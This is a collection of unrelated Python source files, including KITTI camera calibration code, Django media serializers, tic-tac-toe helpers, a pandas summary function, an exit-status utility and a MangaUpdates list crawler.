        self.vert_fov = Calibration.calcVerticalFov(self.imageSize[0], self.imageSize[1], self.hor_fov)
        self.fy = Calibration.calcFy(self.imageSize[1], self.vert_fov)

        self.p0_mat = Calibration.create_P0mat(self.fx, self.fy, self.Cu, self.Cv)

        self.p1_mat = self.p2_mat = self.p3_mat = self.p0_mat

        self.R0 = Calibration.create_R0mat()

        self.V2C = Calibration.create_Velo2CamMat()

        self.C2V = Calibration.inverse_rigid_trans(self.V2C)

        self.tr_imu_to_velo = Calibration.create_tr_imu_to_velo()

    @staticmethod
    def calcHorizontalFov(fov):
        return fov / 360. * 2. * np.pi

    @staticmethod
    def calcVerticalFov(img_width, img_height, hor_fov):
        return 2. * np.arctan(np.tan(hor_fov / 2) * img_height / img_width)

    @staticmethod
    def calcFx(img_width, hor_fov):
        return img_width / (2. * np.tan(hor_fov / 2.))

    @staticmethod
    def calcFy(img_height, vert_fov):
        return img_height / (2. * np.tan(vert_fov / 2.))

    @staticmethod
    def create_P0mat(fx, fy, Cu, Cv):
        mat = [[fx, 0., Cu, 0.],
                [0., fy, Cv, 0.],
                [0., 0., 1., 0.]]
        mat = np.array(mat)
        return np.reshape(mat, [3,4])

    @staticmethod
    def create_R0mat():
        r0_rect = [[1, 0, 0],
                  [0, 1, 0],
                   [0, 0, 1]]
        # Rotation from reference camera coord to rect camera coord
        r0_rect = np.array(r0_rect)
        return np.reshape(r0_rect,[3,3])

    @staticmethod
    def create_Velo2CamMat():
        '''
        Assumption: camera is at the same position and orientation as the lidar
        '''
        tr_velo_to_cam = [[0, -1, 0, 0],
                          [0, 0, -1, 0],
                          [1, 0, 0, 0]]

        tr_velo_to_cam = np.array(tr_velo_to_cam)
        return np.reshape(tr_velo_to_cam, [3,4])

    @staticmethod
    def create_tr_imu_to_velo():
        tr_imu_to_velo = [[1, 0, 0, 0],
                          [0, 1, 0, 0],
                          [0, 0, 1, 0]]

        tr_imu_to_velo = np.array(tr_imu_to_velo)
        return np.reshape(tr_imu_to_velo, [3,4])

    @staticmethod
    def inverse_rigid_trans(Tr):
        ''' Inverse a rigid body transform matrix (3x4 as [R|t])
            [R'|-R't; 0|1]

            Ref: https://github.com/charlesq34/frustum-pointnets/blob/master/kitti/kitti_util.py
        '''
        inv_Tr = np.zeros_like(Tr) # 3x4
        inv_Tr[0:3,0:3] = np.transpose(Tr[0:3,0:3])
        inv_Tr[0:3,3] = np.dot(-np.transpose(Tr[0:3,0:3]), Tr[0:3,3])
        return inv_Tr

    def saveCalibrationFile(self, dirname, filename):
        line = Calibration.matToStringKitti("P0", self.p0_mat)
        line += Calibration.matToStringKitti("P1", self.p1_mat)
        line += Calibration.matToStringKitti("P2", self.p2_mat)
        line += Calibration.matToStringKitti("P3", self.p3_mat)
        line += Calibration.matToStringKitti("R0_rect", self.R0)
        line += Calibration.matToStringKitti("Tr_velo_to_cam", self.V2C)
        line += Calibration.matToStringKitti("Tr_imu_to_velo", self.tr_imu_to_velo)

        with open(os.path.join(dirname, filename), "w") as the_file:
            the_file.write(line)

    @staticmethod
    def matToStringKitti(name, mat):
        '''
        Arguments:
            - name: name of the matrix
            - mat: list of lists of int or float values
        Returns:
            - string
        '''
        line = name + ": "
        for i in range(0, len(mat)):
            for j in range(0, len(mat[i])):
                line += str(mat[i][j]) + " "

        line += "\n"

        return line

GTA to KITTI dataset format conversion/Calibration.py


import time

def delta_time(func):
    def wrapper():
        NUM_RUNS = 10
        avg_time = 0
        for _ in range(NUM_RUNS):
            t0 = time.time()
            func()
            t1 = time.time()
            avg_time += (t1 - t0)
        avg_time /= NUM_RUNS
        print("Выполнение заняло %.5f секунд" % avg_time)
    return wrapper

@delta_time
def fib():
    count = 0
    fib1 = fib2 = 1
    while fib1 < 4 * 10 ** 6:
        fibsum = fib1 + fib2
        fib2 = fib1
        fib1 = fibsum
        if fib1 % 2 == 0:
            count += fib1
        print('fib', fib1, 'count', count)

print(fib())


from django.db import models
from rest_framework import serializers
from django.contrib.sites.models import Site
from media.serializers import CustomImageFieldSerializer

from media.models import Photo, Video, Media

class VaultPhotoSerializer(serializers.ModelSerializer):
    """Serializer for photos in ChatVaultView"""

    media = CustomImageFieldSerializer(sizes="photo_upload")

    class Meta:
        model = Photo
        fields = ["public_id", "upload_time", "media"]

class VaultVideoThumbnailSerializer(serializers.FileField):
    """Return a dictionary of urls corresponding to video and its thumbnail"""

    read_only = True

    def to_representation(self, value):
        video_id = value.instance.public_id
        video_rel_url = f"chat/vault/video-stream/{video_id}/"
        domain = Site.objects.get_current().domain

        ret = {
            "video": f"http://{domain}/{video_rel_url}",
            "thumbnail": f"http://{domain}/{value.url_300x300}/",
        }
        return ret

class VaultVideoSerializer(serializers.ModelSerializer):
    """Serializer for videos in ChatVaultView"""

    media = VaultVideoThumbnailSerializer()

    class Meta:
        model = Video
        fields = ["public_id", "upload_time", "media"]

class VaultListSerializer(serializers.ListSerializer):
    """Custom ListSerializer to implement custom to_representation for each media item in vault"""

    def to_representation(self, data):
        iterable = data.all() if isinstance(data, models.Manager) else data

        to_rep = []
        for item in iterable:
            to_rep += [self.get_to_rep(item)]
        return to_rep

    def get_to_rep(self, instance):
        model = instance._meta.model

        if model == Media:
            instance = instance.media_item
            model = instance._meta.model

        self.child.Meta.model = model
        instance.type = model.__name__.lower()

        def get_serializer():
            if model == Photo:
                return VaultPhotoSerializer
            else:
                return VaultVideoSerializer

        serializer = get_serializer()

        ret = serializer(instance).to_representation(instance)

        ret["type"] = instance.type

        return ret

class VaultSerializer(serializers.ModelSerializer):
    """Common serializer for all media items in vault"""

    class Meta:
        list_serializer_class = VaultListSerializer
        model = None
        fields = "__all__"


"""
Вспомогательные функции.
"""

# стандартная библиотека
from configparser import ConfigParser
from shutil import get_terminal_size
from typing import Literal
# проект
import bot
import data

def read_players() -> bool:
    """Читает файл данных игроков, сохраняет информацию в соответствующую глобальную структуру данных. Возвращает True, если в файле данных игроков есть хотя бы одна запись, иначе False."""
    config = ConfigParser()
    config.read(data.PLAYERS_PATH)
    data.players_db = {
        player_name: {
            key: int(value)
            for key, value in config[player_name].items()
        }
        for player_name in config.sections()
    }
    return bool(config)

def read_saves() -> None:
    """Читает файл данных сохранений, сохраняет информацию в соответствующую глобальную структуру данных."""
    saves = data.SAVES_PATH.read_text(encoding='utf-8').split('\n')
    for save in saves:
        try:
            players, turns, dim = save.split('!')
        except ValueError:
            return None
        else:
            data.saves_db |= {
                tuple(players.split(',')): {
                    'dim': int(dim),
                    'turns': {
                        int(turn): data.TOKENS[i%2]
                        for i, turn in enumerate(turns.split(','))
                    },
                }
            }

def write_players() -> None:
    """Записывает в файл данных игроков информацию из соответствующей глобальной структуры данных."""
    config = ConfigParser()
    config.read_dict(data.players_db)
    with open(data.PLAYERS_PATH, 'w', encoding='utf-8') as fileout:
        config.write(fileout)

def write_saves() -> None:
    """Записывает в файл данных сохранений информацию из соответствующей глобальной структуры данных."""
    saves = '\n'.join(
        f"{','.join(players)}!{','.join(map(str, save['turns']))}!{save['dim']}"
        for players, save in data.saves_db.items()
    )
    data.SAVES_PATH.write_text(saves, encoding='utf-8')

def dim_input() -> int:
    """Циклически до корректного запрашивает у игрока размер игрового поля и возвращает преобразованный в число новый размер."""
    while True:
        dim = input(data.MESSAGES["ввод размерности"])
        if data.DIM_PATTERN.fullmatch(dim):
            return int(dim)
        print(data.MESSAGES["некорректная размерность"])

def change_dim(new_dim: int) -> None:
    """Устанавливает новый размер игрового поля, пересчитывает все связанные с размером глобальные переменные."""
    data.dim = new_dim
    data.dim_range = range(new_dim)
    data.all_cells = new_dim**2
    data.all_cells_range = range(1, data.all_cells+1)
    data.wins = win_combinations()
    data.field = field_template()
    width = max(len(str(n)) for n in data.all_cells_range)
    ft = field_template(data_width=width)
    data.field_with_coords = ft.format(*(f'{n:^{width}}' for n in data.all_cells_range))
    data.board = dict.fromkeys(data.all_cells_range, ' ')
    data.MESSAGES['ход не в диапазоне'] = f' ! номер ячейки должен находиться в диапазоне от 1 до {data.all_cells} включительно'
    data.START_MATRICES = (
        bot.calc_sm_cross(),
        bot.calc_sm_zero()
    )

def win_combinations() -> list[set[int]]:
    """Вычисляет все выигрышные комбинации для текущего размера игрового поля."""
    wins = [
        set(data.all_cells_range[::data.dim+1]),
        set(data.all_cells_range[data.dim-1:data.all_cells-data.dim+1:data.dim-1]),
    ]
    wins += [
        set(data.all_cells_range[i:i+data.dim])
        for i in range(0, data.all_cells, data.dim)
    ]
    wins += [
        set(data.all_cells_range[i::data.dim])
        for i in data.dim_range
    ]
    return wins

def clear(del_save: bool = False) -> None:
    """Возвращает глобальные переменные, связанные с игровым процессом, к состоянию до начала партии."""
    if del_save:
        data.saves_db.pop(tuple(data.players), None)
    data.players = [data.authorized]
    data.bot_level = None
    data.turns = {}

def field_template(data_width: int = None) -> str:
    """Конструирует шаблон игрового поля для текущего размера. Опционально может быть передана ширина столбца без учёта отступов (применяется ко всем столбцам)."""
    if data_width is None:
        field_width = data.dim*(3 + max(len(t) for t in data.TOKENS)) - 1
    else:
        # ширина данных в столбце по умолчанию составляет один символ для данных
        field_width = data.dim*(3 + data_width) - 1
    v_sep, h_sep = '|', '—'
    # по одному пробелу слева и справа от подстановочного места — отступы от данных до вертикальных разделителей
    v_sep = v_sep.join([' {} ']*data.dim)
    h_sep = f'\n{h_sep*field_width}\n'
    return h_sep.join([v_sep]*data.dim)

def concatenate_rows(
        multiline1: str,
        multiline2: str,
        *multilines: str,
        padding: int = 8
) -> str:
    """Объединяет произвольное количество строк текстов-колонок в одну строку с несколькими колонками и отступом между ними.

    :param padding: ширина отступа между колонками в пробелах
    """
    multilines = multiline1, multiline2, *multilines
    multilines = [m.split('\n') for m in multilines]
    padding = ' '*padding
    return '\n'.join(
        padding.join(row)
        for row in zip(*multilines)
    )

def header_text(
        text: str,
        *,
        level: Literal[1, 2],
        v_fill: str = '#',
        h_fill: str = '='
) -> str:
    """Возвращает переданную строку, форматированную как заголовок. Форматирование отличается для разных уровней заголовка. Также могут быть изменены символы-заполнители."""
    term_width = get_terminal_size()[0] - 1
    data_width = term_width - 12
    text_len = len(text)

    if level == 1:
        text = text.upper()
        edge = v_fill + h_fill*(term_width-2) + v_fill
        padding = v_fill + ' '*(term_width-2) + v_fill
        text = '\n'.join(
            v_fill + line.center(term_width - 2) + v_fill
            for line in columnize(text, term_width - 6)
        )
        return f'{edge}\n{padding}\n{text}\n{padding}\n{edge}'

    elif level == 2:
        text = text.upper()
        if text_len <= data_width:
            return f'  {text}  '.center(term_width, h_fill)
        else:
            return '\n'.join(
                h_fill*4 + line.center(data_width + 4) + h_fill*4
                for line in columnize(text, data_width)
            )

    # можно добавить дополнительные уровни заголовков с собственным форматированием
    # elif level == 3:
    #     ...

    else:
        raise ValueError

def columnize(text: str, column_width: int) -> list[str]:
    """Разбивает переданную строку на отдельные слова и формирует из слов строки, длины которых не превышают заданное значение. Возвращает список строк, к которым впоследствии может быть применено любое выравнивание."""
    multiline, line_len, i = [[]], 0, 0
    for word in text.split():
        word_len = len(word)
        if line_len + word_len + len(multiline[i]) <= column_width:
            multiline[i] += [word]
            line_len += word_len
        else:
            multiline += [[word]]
            line_len = word_len
            i += 1
    return [' '.join(line) for line in multiline]

def print_table(
        *data_list: list,
        align: list[Literal['ljust', 'center', 'rjust']]
) -> None:
    """Выводит в stdout переданные списки данных в табличном виде без горизонтальных разделителей. Для корректного вывода количество элементов в каждом списке (количество столбцов) должно быть одинаковым. Отступы до вертикальных разделителей всегда один пробел.

    :param data_list: произвольное количество списков произвольных данных
    :param align: настройка выравнивания в столбцах таблицы
    """
    widths = [
        max(len(str(elem)) for elem in column)
        for column in zip(*data_list)
    ]
    print('\n'.join(
        f" | {' | '.join(getattr(str(cell), align[i])(widths[i]) for i, cell in enumerate(row))} | "
        for row in data_list
    ))


"""
- feature 경로 : G:\공유 드라이브\BRIQUE\(B)과제\(BB)내부\기타\BI-Y20-DS-005-1 TraceDataAnalysis\03.분석\feature_store
- feature 명: numeric_basic_summary.parquet, numeric_basic_summary_added.parquet
- 용량 : 1.54GB
- 설명 : 연속형 변수에 대한 다음 항목의 summary 변수
    기존 : 평균, 표준편차, 최소, 최대, 처음 값, 마지막 값
    추가 :  중앙값, skewness

"""

#%%
import pandas as pd

def get_basic_summary_feats(
    data: pd.DataFrame,
    groupby_col_name: str,
    agg_list: list = ["mean", "std", "min", "max", "median", "skew", "last", "first"],
) -> pd.DataFrame:
    """
    연속형 변수에 aggregation 기본 제공 항목에 대한 groupby 진행.
    :param data: groupby 진행할 dataframe
    :param groupby_col_name: groupby 기준 컬럼 명
    :param agg_list: pandas aggregation에서 기본적으로 제공하는 함수명의 list
    :return:
    """
    result = data.groupby(groupby_col_name).agg(agg_list)
    result.columns = ["_".join(x) for x in result.columns]
    result = result.reset_index()
    return result


from __future__ import absolute_import

import os
from .models import Status

__all__ = ['split']

def split(status, subprocess=False):
    """
    Split an exit status code as returned by ``os.system``, ``os.wait``, or
    ``os.waitpid``, returning a ``tuple`` which includes the processes exit
    code, the signal responsible for the processes termination, and whether or
    not the process left a core dump behind. If there was no exit code then the
    first value will be ``None``, and if there was no signal, then the second
    value will be ``None``.

    Optionally, and perhaps with less utility, if a second flag is passed and
    set to ``True``, will ``split`` a ``returncode`` as returned by the
    ``subprocess`` module. In this instance the ``core`` part of the returned
    ``3-tuple`` will always be ``None``, because that information is
    unavailable.

    For example, with ``os.system``:

    >>> split(os.system('true'))
    Status(exit=0, signal=None, core=False)
    >>> split(os.system('false'))
    Status(exit=1, signal=None, core=False)

    Using ``os.spawnlp`` and ``os.kill`` to demonstrate extraction of signals:

    >>> pid = os.spawnlp(os.P_NOWAIT, 'sleep', 'sleep', '100')
    >>> os.kill(pid, 15)
    >>> _, code = os.waitpid(pid, 0)
    >>> split(code)
    Status(exit=None, signal=15, core=False)

    And now with ``subprocess.call``:

    >>> import subprocess
    >>> split(subprocess.call(['true']), subprocess=True)
    Status(exit=0, signal=None, core=None)
    >>> split(subprocess.call(['false']), subprocess=True)
    Status(exit=1, signal=None, core=None)

    Using ``subprocess.Popen`` and ``subprocess.Popen.kill`` to extract
    signals:

    >>> p = subprocess.Popen(['sleep', '100'])
    >>> p.terminate()
    >>> split(p.wait(), subprocess=True)
    Status(exit=None, signal=15, core=None)

    :param status: status code to split
    :type status: ``int``
    :param subprocess: flag indicating supplied status is a ``subprocess``
        returncode
    :type subprocess: ``bool``
    :returns:  ``3-tuple`` (exit, signal, core)
    :rtype: ``3-tuple``
    """
    if subprocess:
        if status >= 0:
            signal, code, core = (None, status, None)
        else:
            signal, code, core = (abs(status), None, None)
    else:
        if os.WIFSIGNALED(status):
            signal = os.WTERMSIG(status)
        else:
            signal = None
        if os.WIFEXITED(status):
            code = os.WEXITSTATUS(status)
        else:
            code = None
        core = os.WCOREDUMP(status)
    return Status(code, signal, core)


import importlib.util
import sys
spec = importlib.util.spec_from_file_location('mangaupdates', 'mangaupdates/__init__.py')
mangaupdates = importlib.util.module_from_spec(spec)
sys.modules[spec.name] = mangaupdates
spec.loader.exec_module(mangaupdates)

from mangaupdates import Series, ListStats
import csv
import pandas as pd
import time
import os
import os.path
import argparse
import requests
from requests.adapters import HTTPAdapter
from requests.packages.urllib3.util.retry import Retry

MAX_RETRIES = 5
CONNECTION_ERROR_DELAY = 90

def make_dataset(series_ids, filename=None, delay=10, list_names=None, mode='n'):

    col_names = ('user_id', 'username', 'score', 'list_name', 'series_id')
    resuming = False
    if filename is not None:
        write_col_names = True
        if os.path.isfile(filename):
            if mode == 'n':
                print(filename, 'exists. Aborting...')
                return
            elif mode == 'a':
                print(filename, 'exists. Rows will be appended.')
                resuming = True
                write_col_names = False

                # get latest sid in final line
                # https://stackoverflow.com/a/54278929
                with open(filename, 'rb') as f:
                    f.seek(-2, os.SEEK_END)
                    while f.read(1) != b'\n':
                        f.seek(-2, os.SEEK_CUR)
                    last_line = f.readline().decode()

                split_line = last_line.split(',')
                last_sid = int(split_line[-1])
                last_list_name = split_line[-2]
                last_sid_index = series_ids.index(last_sid)
                series_ids = series_ids[last_sid_index:]
            elif mode == 'w':
                print(filename, 'exists. Overwriting...')
            else:
                print(f"Error: value for mode ({mode}) should be either 'n', "
                       "'a', or 'w'. Exiting...")
                return
        elif mode == 'n':
            mode = 'w'
        f = open(filename, mode, newline='')
        writer = csv.writer(f)

        if write_col_names:
            writer.writerows([col_names])

    if filename is None:
        rows = []

    if list_names is None:
        list_names = ('read', 'wish', 'unfinished', 'complete', 'hold')
    print('Lists:', list_names)

    sess = requests.Session()
    retries = Retry(total=MAX_RETRIES, backoff_factor=3)
    sess.mount('http://', HTTPAdapter(max_retries=retries))
    loaded = False
    try:
        for i, sid in enumerate(series_ids):
            loaded = False
            lists = ListStats(sid, session=sess)
            print(sid, end='\t\t', flush=True)
            for _ in range(MAX_RETRIES):
                try:
                    lists.populate(list_names=list_names)
                    break
                except requests.exceptions.ConnectionError as e:
                    print(e)
                    print('Retrying...')
                    time.sleep(CONNECTION_ERROR_DELAY)
            else:       # no break
                print('Skipping', sid, '(exceeded MAX_RETRIES)')
                continue

            for key in list_names:
                if resuming and i == 0:
                    if list_names.index(key) <= list_names.index((last_list_name)):
                        print('0 rows (resuming).')
                        continue
                    resuming = False
                    # Since this program only writes to the file every iteration of
                    # a list of a series, we know that on the previous run, the
                    # program probably stopped between (instead of in the middle
                    # of) writing to the file.
                    # Thus, we assume that if the last entry on the file has
                    # some series id `last_sid` and list name `last_list_name`, we
                    # can simply skip all entries before that.
                new_rows = [(val.user_id, val.username, val.rating, key, sid) for val in lists.general_list(key)]
                print(key, f'{len(new_rows)} rows.', sep='\t')
                if filename is None:
                    rows.extend(new_rows)
                else:
                    writer.writerows(new_rows)
            loaded = True
            time.sleep(delay)
    except (KeyboardInterrupt, requests.exceptions.ConnectionError) as e:
        print('\n', e, sep='')
        if loaded:
            print("Stopped after loading", sid)
        else:
            print("Stopped before loading", sid)

    if filename is not None:
        f.close()
        return
    else:
        return rows

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument(metavar='INPUT', dest='input',
                        help='csv file containing series ids.')
    parser.add_argument(metavar='OUTPUT', dest='output',
                        help='csv file where the output will be saved.')
    parser.add_argument('--headers', action='store_true',
                        help='there are headers in the input file (overrides --column)')
    parser.add_argument('-n', default=10, dest='N', help='# of series to crawl.')
    parser.add_argument('-m', '--mode', default='n',
                        help="'n': abort if OUTPUT file already exists (default)."
                        "'a': append to OUTPUT file if already exists."
                        "'w': overwrite OUTPUT file (equivalent to --force).")
    parser.add_argument('-f', '--force', action='store_true',
                        help='overwrite the output file if it exists (instead '
                             'of appending to it). overrides --mode.')
    parser.add_argument('--all', action='store_true',
                        help='"read", "wish", and "unfinished" lists will all be '
                             'crawled, otherwise only "read" will be crawled.')
    parser.add_argument('-c', '--column', default=0,
                        help='column (0-indexed) of series id (overriden by --headers')
    parser.add_argument('--resume', action='store_true',
                        help="equivalent to mode='a'. resumes progress if stopped"
                        " previously. overrides --force.")
    parser.add_argument('-d', '--delay', default=10,
                        help='# of seconds of delay between GET requests.')
    parser.add_argument('--listnames', default='rwuch')
    args = parser.parse_args()

    list_names = ['read']
    if args.all:
        list_names.extend(['wish', 'unfinished', 'complete', 'hold'])
    elif set(args.listnames).issubset('rwuch'):
        list_names = []
        if 'r' in args.listnames:
            list_names.append('read')
        if 'w' in args.listnames:
            list_names.append('wish')
        if 'u' in args.listnames:
            list_names.append('unfinished')
        if 'c' in args.listnames:
            list_names.append('complete')
        if 'h' in args.listnames:
            list_names.append('hold')
    else:
        print('--listnames', args.listnames, 'is invalid. Aborting...')
        exit(-1)

    mode = args.mode
    if args.resume:
        mode = 'a'
    elif args.force:
        mode = 'w'

    # Get unique series IDs from file
    series_ids = []
    with open(args.input, 'r', newline='') as csvfile:
        csvreader = csv.reader(csvfile)
        if args.headers:
            header_names = next(csvreader)
            if 'series_id' in header_names:
                header = 'series_id'
            else:
                print('Error: No "series_id" header in', args.INPUT)
                csvfile.close()
                exit(-1)
            sid_index = header_names.index('series_id')
        else:
            sid_index = 0

        for i,row in enumerate(csvreader):
            if i >= int(args.N):
                break
            sid = int(row[sid_index])
            if sid not in series_ids:
                series_ids.append(sid)

    make_dataset(series_ids, filename=args.output, delay=args.delay, mode=mode,
                 list_names=list_names)